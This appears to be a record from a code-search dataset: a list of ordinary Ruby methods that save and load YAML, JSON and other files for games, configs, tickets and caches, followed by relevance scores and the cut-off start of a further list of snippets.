"def save( )\n\t\t\tdestDir = nil\t\t\n\t\t\tadd = false\n\t\t\tif not @filename\n\t\t\t\tcreated = Digest::MD5::hexdigest(\"#{@data.created}-#{@data.name}\")\n\t\t\t\tcreated = created[ 0, 8 ]\n\t\t\t\tname = @data.name.gsub( /[\\/\\\\\\ :\\?]/, '_')\n\t\t\t\tDir.mkdir( @options.tickets_directory ) if not File.directory?( @options.tickets_directory )\n\t\t\t\tdestDir = File.join( @options.tickets_directory, \"#{created}-#{name}.ticket\")\n\t\t\t\tif not File.directory?( destDir )\n\t\t\t\t\tDir.mkdir( destDir )\n\t\t\t\t\tadd = true\n\t\t\t\tend\n\t\t\t\t@data.updated=DateTime.now()\n\t\t\t\t@idstring = File.basename( destDir )[0..7]\n\t\t\t\t@filename = File.join( destDir, \"ticket.yaml\")\n\t\t\tend\n\t\n\t\t\t\n\t\t\tFile.open( @filename, File::WRONLY|File::TRUNC|File::CREAT) do |f|\n\t\t\t\tf.write YAML.unescape( YAML.dump( @data ) )\n\t\t\tend\n\t\n\t\t\tloadComments if @comments.length == 0\n\t\t\tcommentsFile = File.join( File.dirname(@filename) , \"comments.yaml\" ) \n\t\t\tFile.open( commentsFile, File::WRONLY|File::TRUNC|File::CREAT) do |f|\n\t\t\t\tf.write YAML.unescape( YAML.dump( @comments ) )\n\t\t\tend\n\t\t\t\n\t\t\tloadAttachments if @attachments.length == 0\n\t\t\tattachmentsFile = File.join( File.dirname(@filename) , \"attachments.yaml\" ) \n\t\t\tFile.open( attachmentsFile, File::WRONLY|File::TRUNC|File::CREAT) do |f|\n\t\t\t\tf.write YAML.unescape( YAML.dump( @attachments ) )\n\t\t\tend\n\t\t\t\n\t\t\tif add\n\t\t\t\tcmd = @options.after_add_ticket\n\t\t\t\tif cmd and not cmd.empty?\n\t\t\t\t\tsystem( \"#{cmd} \\\"#{destDir}\\\"\" )\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs \"Ticket #{@idstring} saved.\"\n\t\tend",
"def remember_values\n logger.debug {\"Generating remember values\"}\n {}\n end",
"def save(file = '.cookies')\n File.write(file, to_a.to_yaml)\n end",
"def get_message\n File.open @config.data do |file|\n self[:message] = YAML.load(file).sample\n end\n end",
"def store_oauth_data\n not_modified = [:access_token, :refresh_token, :expires_in, :issued_at].map do |key|\n oauth_data[key] == (oauth_data[key] = client.authorization.send(key))\n end.all?\n File.open(oauth_data_file,'w') { |f| f.puts oauth_data.to_yaml } unless not_modified\n end",
"def add_ids_to_file( filename )\n\t\tpath = \"#{ @view_directory }#{ filename }\"\n\t\ttemp_file = Tempfile.new( 'foo' )\n\n\t\tbegin\n\t\t File.open( path, 'r' ) do |file|\n\t\t file.each_line do |line|\n\t\t temp_file.puts show_me_your_id( line )\n\t\t end\n\t\t end\n\t\t temp_file.close\n\t\t FileUtils.mv( temp_file.path, path )\n\t\trescue Exception => e\n\t\t\tbaxter( e )\n\t\tensure\n\t\t temp_file.close\n\t\t temp_file.unlink\n\t\tend\n\tend",
"def persistData!\n File.open(getWorkingDir+'/data.host', 'w') do |f|\n f.write(@plataforms.to_yaml)\n end\n end",
"def save\r\n props = {}\r\n instance_variables.each{|v|\r\n # props[v.to_s[1..-1]] = instance_variable_get(\"#{v}\")\r\n p = v.to_s[1..-1]\r\n props[p] = self.send(p)\r\n }\r\n File.write(STORAGE, YAML.dump(props))\r\n end",
"def save_game \n File.open('hangman_save.yml', 'w') { |f| YAML.dump(self,f)}\n exit\n end",
"def file_ids_hash\n if @file_ids_hash.blank?\n # load the file sha's from cache if possible\n cache_file = File.join(self.path,'.loopoff')\n if File.exists?(cache_file)\n @file_ids_hash = YAML.load(File.read(cache_file))\n else\n # build it\n @file_ids_hash = {}\n self.loopoff_file_names.each do |f|\n @file_ids_hash[File.basename(f)] = Grit::GitRuby::Internal::LooseStorage.calculate_sha(File.read(f),'blob')\n end\n # write the cache\n File.open(cache_file,'w') do |f|\n f.puts YAML.dump(@file_ids_hash) \n end\n end \n end\n @file_ids_hash\n end",
"def save_game\n\t\tall_saved_games = yaml_load(SAVED_FILENAME)\n\t\tgame_name = get_save_name(all_saved_games)\n\t\treturn if game_name.nil?\n\n\t\tgame_string = self.to_yaml \n\t\tall_saved_games[game_name] = game_string\n\t\tyaml_save(SAVED_FILENAME, all_saved_games)\n\t\tmessage_then_enter \"'#{ game_name }' successfully saved.\"\n\tend",
"def persist\n settings = {\n area: @focus[:key]\n }\n File.open(@path, 'w') do |file|\n file.write settings.to_yaml\n end\n end",
"def save\n File.write(yfile, to_yaml)\n end",
"def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end",
"def save_state\n @refused['size'] = @auth_log.size\n IO.write(state_file, Psych.to_json(@refused))\n end",
"def save_config\n config = $bot[:config].clone\n config.delete :client\n File.open \"./#{Twittbot::CONFIG_FILE_NAME}\", 'w' do |f|\n f.write config.to_yaml\n end\n end",
"def save_polls_data(data)\n save_data('polls.yaml', data)\nend",
"def save\n File.open(file_path, 'w') do |file|\n YAML.dump(data, file)\n end\n end",
"def save\n File.open(SETTING_FILE, 'w') do |file|\n file.write @values.to_yaml\n end\n end",
"def persistUserContentToFile(dataDir)\n threadForEachUser do |account|\n #account.contentMap.keys.each do |tag|\n #userFile = @dataDir+\"other/#{account.user}.yml\"\n # if tag.match(/programming/)\n # userFile = @dataDir+\"programming/#{account.user}.yml\"\n # elsif tag.match(/travel/)\n # userFile = @dataDir+\"travel/#{account.user}.yml\"\n # end\n userFile = dataDir+\"/#{account.user}.yml\"\n # Remove user file if already present.\n File.delete(userFile) if File.exists?(userFile)\n File.open(userFile,\"a\") do |outputFile|\n puts \"Persisting content for '#{account.user}'\"\n #outputFile.puts account.contentMap[tag].to_yaml \n outputFile.puts account.contentArr.to_yaml\n end\n #end\n end\n end",
"def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end",
"def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }\n end",
"def save_map(filename = nil)\n File.open(filename, 'w') do |file|\n store.each do |primary, emails|\n file.puts(\"#{primary},#{emails.join(';')}\")\n end\n end\n end",
"def save( file )\n begin\n File.open( file, 'w' ) { |f| f.write( YAML.dump( self ) ) }\n rescue\n File.open( file, 'wb' ) { |f| f.write( Marshal.dump( self ) ) }\n end\n end",
"def save_game\n store = YAML.dump(self)\n File.open('lib/saved_game.yml', 'w') do |file|\n file.puts(store)\n end\n puts 'your game has been saved!'\n end",
"def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end",
"def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end",
"def save_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getSaveFileName(self, \"Save configuration file\", \"./myconfig.yml\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin\n config_hash = Hash.new\n @container_hash.each do |pos, container|\n config_hash[pos] = container.config\n end\n File.open(path, \"w\") {|f| f.write(config_hash.to_yaml) }\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to write configuration to '#{path}': \\n#{e.message}\"\n end\n end",
"def store_details(port = nil)\n file = pid_file(port)\n begin\n FileUtils.mkdir_p(File.dirname(file))\n rescue Errno::EACCES => e\n Merb.fatal! \"Failed to store Merb logs in #{File.dirname(file)}, \" \\\n \"permission denied. \", e\n end\n Merb.logger.warn! \"Storing pid #{Process.pid} file to #{file}...\" if Merb::Config[:verbose]\n begin\n File.open(file, 'w'){ |f| f.write(Process.pid.to_s) }\n rescue Errno::EACCES => e\n Merb.fatal! \"Failed to access #{file}, permission denied.\", e\n end\n end",
"def yaml_save(packages)\n FileUtils.mkdir_p(File.dirname(yaml_file))\n File.open(yaml_file, \"w\") do |file|\n file.write(packages.to_yaml)\n end\n end",
"def save_config_file(locale, key)\n locale_config = {}\n locale_config[locale] = {}\n unless @config[key].nil?\n locale_config[locale][key] = @config[key]\n path = \"config/locales/org/#{key}/#{locale}.yml\"\n File.delete(path) if File.exist?(path)\n TTY::File.create_file(path, locale_config.to_yaml)\n end\nend",
"def store\n @store ||= JapaneseNames::Util::Kernel.deep_freeze(\n File.open(filepath, 'r:utf-8').each_with_object({}) do |line, hash|\n ary = line.chop.split('|')\n hash[ary[0]] ||= []\n hash[ary[0]] << ary\n end\n )\n end",
"def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end",
"def cmd_notify_save\n\t\t\t\tprint_status(\"Saving paramters to config file\")\n\t\t\t\tif @user_name and @webhook_url\n\t\t\t\t\tconfig = {'user_name' => @user_name, 'webhook_url' => @webhook_url}\n\t\t\t\t\tFile.open(Notify_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Notify_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def logyml(service, yml)\n File.open(\"/tmp/#{service}.yml\", 'w') do |f| f.write(yml) end\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def toFile(msg)\n data = msg\n File.open(`echo ~/.gitlab-rc.yml`.chomp!, \"w\") {|f| f.write(data.to_yaml) }\n end",
"def save_to_most_recent_list\n # potentially, really slow dupe checking\n most_recent_identity = self.class.redis_most_recent_list_identity\n unless $redis.lrange(most_recent_identity, 0, $redis.llen(most_recent_identity)).include? identity\n $redis.lpush(most_recent_identity, identity)\n end\n end",
"def to_yaml\n\t\tFile.write(\"save.yaml\", YAML.dump({\n\t\t\t:board => @board.board,\n\t\t\t:positions => @board.positions,\n\t\t\t:current_turn => @current_turn,\n\t\t\t:ai_on => @ai_on\n\t\t\t}))\n\tend",
"def save_game\n\t\tDir.mkdir('saved_games') unless Dir.exist? 'saved_games'\n\t\tDir.chdir(\"saved_games\")\n\t\tdata = save\n\t\tFile.open(\"save.yaml\", \"w\") do |file|\n\t\t\tsaved_games = YAML::dump(data)\n\t\t\tfile.write(saved_games)\n\t\tend\n\t\tputs \"Games Saved!!\"\n\t\tabort\n\tend",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def generate_save\n YAML.dump(self)\n end",
"def save(filename)\n data_to_save = @metadata.merge({\n \"licenses\" => licenses.map(&:to_cache),\n \"notices\" => notices\n })\n\n FileUtils.mkdir_p(File.dirname(filename))\n File.write(filename, data_to_save.to_yaml)\n end",
"def save(filename)\n FileUtils.mkdir_p(File.dirname(filename))\n File.write(filename, YAML.dump(@metadata) + \"---\\n#{text}\")\n end",
"def save\n @filename = @filename || gen_filename\n file = File.open(File.join(@dir, @filename), 'w') { |f|\n f.puts @issue.to_yaml\n }\n end",
"def saveSessionId(session_file, username, session_id)\n if session_file.to_s.empty? || session_id.to_s.empty?\n return\n end\n File.open(session_file, \"w\") {\n |f|\n f.write(\"#{username}\\n\")\n f.write(\"#{session_id}\\n\")\n }\n end",
"def dummy_playbook_data_for(filename)\n data = <<~PLAYBOOK_DATA\n - name: #{filename}\n hosts: all\n tasks:\n - name: #{filename} Message\n debug:\n msg: \"Hello World! (from #{filename})\"\n PLAYBOOK_DATA\n\n if filename.basename.fnmatch?(\"*.encrypted.{yml,yaml}\", File::FNM_EXTGLOB)\n to_hex = data.unpack1(\"H*\").unpack1(\"H*\")\n data = (0...to_hex.length).step(80).to_a\n .map! { |start| to_hex[start, 80] }\n .prepend(\"$ANSIBLE_VAULT;1.1;AES256\")\n .append(\"\")\n .join(\"\\n\")\n end\n\n data\n end",
"def save_config\n botpart_config = Hash[@config.to_a - $bot[:config].to_a]\n\n unless botpart_config.empty?\n File.open @botpart_config_path, 'w' do |f|\n f.write botpart_config.to_yaml\n end\n end\n end",
"def save_user_data(data)\n save_data('users.yaml', data)\nend",
"def save_message(lti_message)\n nonce = lti_message.oauth_nonce\n scoped = scoped_nonce(nonce)\n if @redis_store.set(scoped, lti_message.to_json)\n nonce\n else\n false\n end\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def store\n File.store(uuid)\n end",
"def log_saves \n s_log = File.open(\"../saves/log.yml\", \"w\")\n s_log.puts @@save_count\n s_log.close\n end",
"def save!(file_path)\n File.open(file_path, \"w\") do |f|\n f.write(YAML.dump(@log))\n end\n end",
"def save\n File.open( @plugins_file, 'w' ) do |out|\n YAML.dump( @plugins, out )\n end\n end",
"def save_settings\n File.open(@path, \"w\") do |file|\n file.write @settings.to_yaml\n end\n end",
"def cmd_notify_pushover_save\n\t\t\t\tprint_status(\"Saving parameters to config file\")\n\t\t\t\tif @app_key and @user_key\n\t\t\t\t\tconfig = {'app_key' => @app_key, 'user_key' => @user_key}\n\t\t\t\t\tFile.open(Notify_pushover_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Notify_pushover_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def save_profile_chat\n filename = \"profiles/#{@message.chat.id}.json\"\n data = {'semester_dates' => @semester_dates, 'subjects' => @subjects}\n profile = JSON.generate(data)\n file = File.open(filename, 'w')\n file.write(profile)\n file.close\n end",
"def unique_key\n [@msgid, @msgctxt]\n end",
"def save\n File.open(path, 'w') do |out|\n YAML.dump(data, out)\n end\n end"
] |
[
"0.69648445",
"0.62123877",
"0.6093182",
"0.5935149",
"0.5897799",
"0.5793896",
"0.57560015",
"0.55887014",
"0.55494744",
"0.5519192",
"0.55181724",
"0.54580945",
"0.5446532",
"0.5443786",
"0.54124045",
"0.5408175",
"0.53848606",
"0.53788054",
"0.5378623",
"0.53710407",
"0.5367626",
"0.53635436",
"0.53635436",
"0.53351057",
"0.5309449",
"0.53069013",
"0.5290171",
"0.52815187",
"0.52672344",
"0.5234709",
"0.5225118",
"0.52102673",
"0.52084464",
"0.5194307",
"0.51932424",
"0.5188877",
"0.51864856",
"0.51830184",
"0.5178958",
"0.51731133",
"0.5166131",
"0.51622415",
"0.51385736",
"0.512877",
"0.5121025",
"0.51091766",
"0.50812566",
"0.5076573",
"0.50692236",
"0.50563264",
"0.50341046",
"0.5015132",
"0.5014387",
"0.50031555",
"0.50008786",
"0.49810314",
"0.4971955",
"0.49713826",
"0.49661115",
"0.49580175",
"0.49537107",
"0.4952709",
"0.49513108",
"0.4950137",
"0.49487272",
"0.49456748",
"0.49364692",
"0.49334547",
"0.4932075",
"0.4922049",
"0.4922049",
"0.4922049",
"0.4922049",
"0.4922049",
"0.4922049",
"0.4922049",
"0.49201444",
"0.4919751",
"0.4905182",
"0.48939088",
"0.48934522",
"0.48932528",
"0.4892818",
"0.48914245",
"0.48905566",
"0.48887974",
"0.48850727",
"0.4884363",
"0.48803735",
"0.48598355",
"0.48557794",
"0.48539317",
"0.4852392",
"0.4850117",
"0.48481283",
"0.4844891",
"0.48361942",
"0.48281366",
"0.4822257",
"0.4821693"
] |
0.78094614
|
0
|
reload remembered message ids from a yaml file
|
def restore_remembered_messages
if configuration.single_delivery
yaml = default_yaml = "--- []"
begin
File.open(seen_messages_file, 'r') do |file|
yaml = file.read
end
rescue Object
yaml = default_yaml
end
buffer = []
begin
buffer = YAML.load(yaml)
if !buffer.kind_of?(Array) or !buffer.all?{ |x| x.kind_of?(String)}
raise Exception, "Invalid seen_messages.yml file"
end
rescue Object
buffer = []
end
self.seen_messages = buffer
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def store_remembered_messages\n if configuration.single_delivery\n File.open(seen_messages_file, 'w') do |file|\n file.write seen_messages.to_yaml\n end\n end\n end",
"def refresh_ids\n\t\t# Find all puzzle IDs retrieved\n\t\tpuzzle_files = Dir[\"./puzzles/*.pdf\"]\n\t\tids = puzzle_files.map do |path|\n\t\t\tpath.split(\"/puzzle-\").last.split(\".\").first\n\t\tend\n\t\t@puzzle_ids = Set.new(ids)\n\n\t\t# Find all puzzle IDs mailed in packets\n\t\tpuzzle_packet_files = Dir[\"./puzzles/packets/*.pdf\"]\n\t\tid_groups = puzzle_packet_files.map do |path|\n\t\t\tpath.split(\"/\").last.split(\".\").first.split(\"-\")\n\t\tend\n\t\t@puzzle_packet_ids = Set.new(id_groups.flatten)\n\tend",
"def load(filename)\n update! YAML.load_file(filename)\n end",
"def reload\n @@languages.each do |lang_code, lang_file|\n lang_file.reload\n end\n end",
"def reload\n old_id = @id\n @id = nil\n\n if @data_dir\n # Read the id file from the data directory if it exists as the\n # ID for the pre-existing physical representation of this machine.\n id_file = @data_dir.join(\"id\")\n id_content = id_file.read.strip if id_file.file?\n if !id_content.to_s.empty?\n @id = id_content\n end\n end\n\n if @id != old_id && @provider\n # It changed, notify the provider\n @provider.machine_id_changed\n end\n\n @id\n end",
"def get_and_reset_messages!(id)\n log \"get_and_reset_messages #{id}\"\n vals = redis.multi do\n redis.lrange(id, 0, -1)\n redis.del(id)\n end\n # what a sad interface\n # vals[0] is the answer to the first statement in the block\n vals[0].map {|m| Marshal.load(m)}\n end",
"def update_unique_ids(env, content); end",
"def load_queues\n if queue_file? && File.exists?(queue_file)\n @entries = YAML.load(File.new(queue_file).read)\n\n File.unlink(queue_file)\n end\n end",
"def save_ids\n File.write('id_store.yml', @ids.to_yaml)\n end",
"def get_message\n File.open @config.data do |file|\n self[:message] = YAML.load(file).sample\n end\n end",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def load_from_dir dir\n Dir[File.join(dir,\"*.yml\")].each do |file|\n begin\n var_name = File.basename(file).gsub(/s\\.yml/,'')\n my_count = 0\n File.open(file) do |my_file|\n last_obj = nil\n while line = my_file.gets do\n if line == \"--- \\n\" #uj yaml objekt :)\n if last_obj\n o = YAML.load(last_obj) \n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n last_obj = ''\n end\n last_obj = last_obj + line\n end\n o = YAML.load(last_obj)\n set_obj_val var_name,o.keys[0],o.values[0]\n my_count = my_count + 1\n end\n\n try(\"puts \\\"Cache loaded @#{var_name}: #{my_count} instances from disk.\\\"\")\n rescue Exception => e\n puts \"Can not load #{file}.\"\n puts e.message\n end\n end\n end",
"def load_yml(filename); end",
"def load_from_file(path)\n YAML.load_file(path).each { |n,v| instance_variable_set(n, v) }\n end",
"def load_list(key, file)\n f = File.new( file )\n counter = process_lines(f) do |redis,line|\n redis.lpush( key , line.chomp)\n end\n return counter \n end",
"def load(filepath)\n @proxies = YAML.load(File.read(filepath))\n end",
"def reload!\n @ssh_keys = load_keys\n @config = load_config\n end",
"def init_stream_ids\n @stream_ids = {}\n load_stream_ids\n\n if @options[:partial_update]\n delete_stream_ids upper_stream_ids(@stream_ids.keys)\n end\n\n if (keep_file_for = @options[:keep_file_for].to_i) > 0\n delete_stream_ids chaos_monkey_stream_ids(@stream_ids.keys.sort, keep_file_for)\n end\n end",
"def reload_config\n @config = YAML.load_file('config/mse_router_info.yml')\n end",
"def reload\n load @filename\n end",
"def queuedump\n queuefile = YAML.load_file(\"/config/queue.yml\")\n puts queuefile['queue']\n queuefile['last_update'] = \"text\"\n File.open('/config/queue.yml','w') do |h| \n h.write queuefile.to_yaml\n end\nend",
"def load\n #p 'loading ...'\n #p @name\n @rarray = Array.new\n begin\n dshash = YAML.load_file('db/'+@name+'.store') \n #p dshash\n #@rkeys = Array.new\n #p 'loading ...'\n dshash.each {|k,v| # converts strings into symbols\n cid = dshash[k][\"id\"]\n next if cid < 1 # do not transform if id < 1 \n #@rkeys << k\n rhash = Hash.new \n v.each {|k2,v2|\n #p k2\n #p v2\n rhash[k2.to_sym] = v2\n }\n @rarray << rhash\n }\n rescue\n p 'no file now' \n self.insert({:id=>0})\n end\n end",
"def reload\n if (mtime = File::mtime(@path)) > @mtime\n @group.clear\n File.open(@path){|io|\n while line = io.gets\n line.chomp!\n group, members = line.split(/:\\s*/)\n @group[group] = members.split(/\\s+/)\n end\n }\n @mtime = mtime\n end\n end",
"def load_yaml(filename); end",
"def refresh!\n @lines = load_from_file\n end",
"def load(filename)\n files= filename.include?(',') ? filename.split(',') : [filename]\n @yml = files.inject({}) do |total_merge,file|\n total_merge.merge!(::YAML.load(ERB.new(File.read(\"#{yml_directory}/#{file}\")).result(binding)))\n end\n end",
"def fill_from_yaml_file(filename)\n yml = File.read(File.join(User.recipes, filename), encoding: 'utf-8')\n fill_from_yaml(yml)\n @filename = filename\n end",
"def load(clear=true, filename = @filename)\n @mutex.synchronize{\n @filename = filename\n\n hash = YAML.load_file( filename )\n self.clear if clear\n self.merge!(hash)\n }\n end",
"def restore_db(file)\n\t\t\t\tbegin\n\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\tdelete_all(XSSF_WAITING_ATTACKS_DB)\n\t\t\t\t\t\tdelete_all(XSSF_LOG_DB)\n\t\t\t\t\t\tdelete_all(XSSF_VICTIM_DB)\n\t\t\t\t\t\tdelete_all(XSSF_SERVER_DB)\n\t\t\t\t\t\t\n\t\t\t\t\t\tctx = 0\n\t\t\t\t\t\t\n\t\t\t\t\t\tYAML.load_documents(File.read(file)) {|a|\n\t\t\t\t\t\t\tXSSF_SERVER_DB.concat(a) if (ctx == 0)\n\t\t\t\t\t\t\tXSSF_VICTIM_DB.concat(a) if (ctx == 1)\n\t\t\t\t\t\t\tXSSF_WAITING_ATTACKS_DB.concat(a) if (ctx == 2)\n\t\t\t\t\t\t\tXSSF_LOG_DB.concat(a) if (ctx == 3)\n\t\t\t\t\t\t \n\t\t\t\t\t\t\tctx = ctx + 1\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"File not found...\"\n\t\t\t\t\tend\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 26: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\tend",
"def yaml_load(file_path)\n YAML.load(File.read(file_path)).to_smash\n end",
"def mark_read_messages(conversation)\n time = Time.current\n conversation = Conversation.find(conversation) if conversation.is_a?(Integer)\n conversation_members.where(conversation_id: conversation).update_all(last_seen: time)\n Rails.cache.delete(conversation.get_unread_cache_key_for(id))\n Rails.cache.delete(\"user-unread_messages_count-#{id}\")\n PubSub::Publisher.new.publish_for(conversation.user_participants.where.not(id: id), 'read_messages', {id: conversation.id, seen_at: time.to_i, user_id: id}, {foreground: true})\n end",
"def add_ids_to_file( filename )\n\t\tpath = \"#{ @view_directory }#{ filename }\"\n\t\ttemp_file = Tempfile.new( 'foo' )\n\n\t\tbegin\n\t\t File.open( path, 'r' ) do |file|\n\t\t file.each_line do |line|\n\t\t temp_file.puts show_me_your_id( line )\n\t\t end\n\t\t end\n\t\t temp_file.close\n\t\t FileUtils.mv( temp_file.path, path )\n\t\trescue Exception => e\n\t\t\tbaxter( e )\n\t\tensure\n\t\t temp_file.close\n\t\t temp_file.unlink\n\t\tend\n\tend",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def load_yaml(file)\n @data = YAML.load(File.open(file))\n\n @data[\"people\"].each do |yaml_person|\n person = Person.new(yaml_person[\"fname\"], yaml_person[\"surname\"], yaml_person[\"dob\"])\n\n yaml_person[\"emails\"].each do |e|\n person.add_email(e)\n end\n\n yaml_person[\"phones\"].each do |e|\n person.add_phone(e)\n end\n\n add(person) \n end\n end",
"def generate_tokens_list\n begin\n edit_time = File.mtime(@config_path)\n\n if edit_time > @last_edit\n @tokens = YAML::load_file(@config_path)\n @last_edit = edit_time\n\n log.info \"Token(s) list updated.\"\n end\n rescue Exception => e\n log.warn \"Could not load configuration. #{e.message}\"\n end\n end",
"def restore_test_data file_name\n fname = \"./spec/factories/#{file_name}.yml\"\n fname = \"./spec/factories/last_test_data.yml\" if fname.blank?\n YAML::load( IO.read(fname) )\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def fill_ids(_in_stream)\n end",
"def _reload_app_yml\n App::build_settings_hash\n end",
"def reload_from_file\n \n # first remove all the previous methods from this instance\n if @specialmethods\n @specialmethods.each do |meth|\n (class << self; self; end).class_eval { undef_method(meth) }\n end\n end\n\n @specialmethods = []\n\n # then load the new methods\n # add a method to the Singleton class of this instance of Config.\n # giving a private readonly accessor named \"key\" that returns \"value\" for each\n # key value pair of the YAML file in @resource\n @con = loadresource()\n if @con\n @con.each do |key,value|\n (class << self; self; end).class_eval { define_method(key) { value }}\n @specialmethods.push key\n end\n end\n end",
"def remember_cache_id(new_file)\n @cache_id_was = cache_id\n end",
"def reload!\n attributes = connection.get(\"/api/v1/listens/#{@id}.json\")['listen']\n\n @id = attributes['id']\n @user_id = attributes['user_id']\n @channel_id = attributes['channel_id']\n @loaded = true\n end",
"def local_clear_yaml(pathname)\n basename = Pathname.new('.').expand_path\n Dir[basename.join(pathname).to_s].each do |post|\n yaml = File.read(post)[/\\A---(.|\\n)*?---/]\n File.open(post, 'w') do |file|\n file.puts yaml\n end\n end\nend",
"def local_clear_yaml(pathname)\n basename = Pathname.new('.').expand_path\n Dir[basename.join(pathname).to_s].each do |post|\n yaml = File.read(post)[/\\A---(.|\\n)*?---/]\n File.open(post, 'w') do |file|\n file.puts yaml\n end\n end\nend",
"def load(contents)\n\n\t\t# save the NAME of the current schedule item, to restore later\n\t\tbackup_position = current.name if current\n\t\t\n\t\t# delete al items\n\t\tschedule_spans.delete_all\n\t\t\n\t\t# create all items\n\t\tcontents.each do |name, items|\n\t\t\tspan = schedule_spans.where(name: name).first_or_initialize\n\t\t\tspan.content = items.to_yaml\n\t\t\tspan.save\n\t\tend\n\t\t\n\t\t# restore 'current' item\n\t\tupdate_attribute(:current, backup_position && self.schedule_spans.find_by_name(backup_position))\n\t\t\n\tend",
"def load_cache\n @list = YAML::load_file Settings[:cache_file]\n end",
"def reload_tasks(dir=@tasks_dir)\n @task_files = []\n load_tasks(dir)\n end",
"def reload_tasks(dir=@tasks_dir)\n @task_files = []\n load_tasks(dir)\n end",
"def update!(**args)\n @message_ids = args[:message_ids] unless args[:message_ids].nil?\n end",
"def save_yml_test_case_map()\n new_test_case_map_path = self.class.test_case_map_path + '.new'\n yaml_content = @tc_id_map.to_yaml\n File.open(new_test_case_map_path, \"w:UTF-8\"){ |file| file.write(yaml_content) } if yaml_content\n FileUtils.mv(self.class.test_case_map_path, self.class.test_case_map_path + \".bak\")\n FileUtils.mv(new_test_case_map_path, self.class.test_case_map_path)\n end",
"def load_metadata_from_yaml(file)\n @metadata = {}\n @metadata = YAML::load(file)\n end",
"def update\n files = Dir[Rails.root.join(\"config\", \"locales\", \"*.yml\").to_s]\n\n @languages = {}\n files.each do |f|\n ar = YAML.load_file f\n lang = ar.keys.first\n if @languages.has_key?(lang.to_s)\n @languages[lang.to_s] = @languages[lang.to_s].deep_merge(ar.first[1])\n else\n @languages[lang.to_s] = ar.first[1]\n end\n end\n\n sync(@languages[I18n.default_locale.to_s])\n end",
"def load_from_yaml(file, cache_dir: nil)\n sections = self.class.load_raw_sections_from_file(file)\n\n changed_sections = []\n sections.each do |conf_options, doc|\n doc = doc.join(\"\")\n doc = evaluate_dynamic_content(file, doc)\n\n if cache_dir\n cache_id, cached_yaml = read_yaml_from_cache(cache_dir, doc)\n end\n unless cached_yaml\n loaded_yaml = YAML.load(StringIO.new(doc)) || Hash.new\n end\n\n begin\n result = normalize_conf(cached_yaml || loaded_yaml || Hash.new)\n rescue ConversionFailed => e\n raise e, \"while loading section #{conf_options[:name] || 'default'} #{e.message}\", e.backtrace\n end\n\n if cache_id && !cached_yaml\n save_yaml_to_cache(cache_dir, cache_id, loaded_yaml)\n end\n\n name = conf_options.delete(:name)\n chain = conf(conf_options.delete(:chain), true)\n result = Orocos::TaskConfigurations.merge_conf(result, chain, true)\n changed = in_context(\"while loading section #{name} of #{file}\") do\n add(name, result, normalize: false, **conf_options)\n end\n\n if changed\n changed_sections << name\n end\n end\n\t if !changed_sections.empty?\n\t 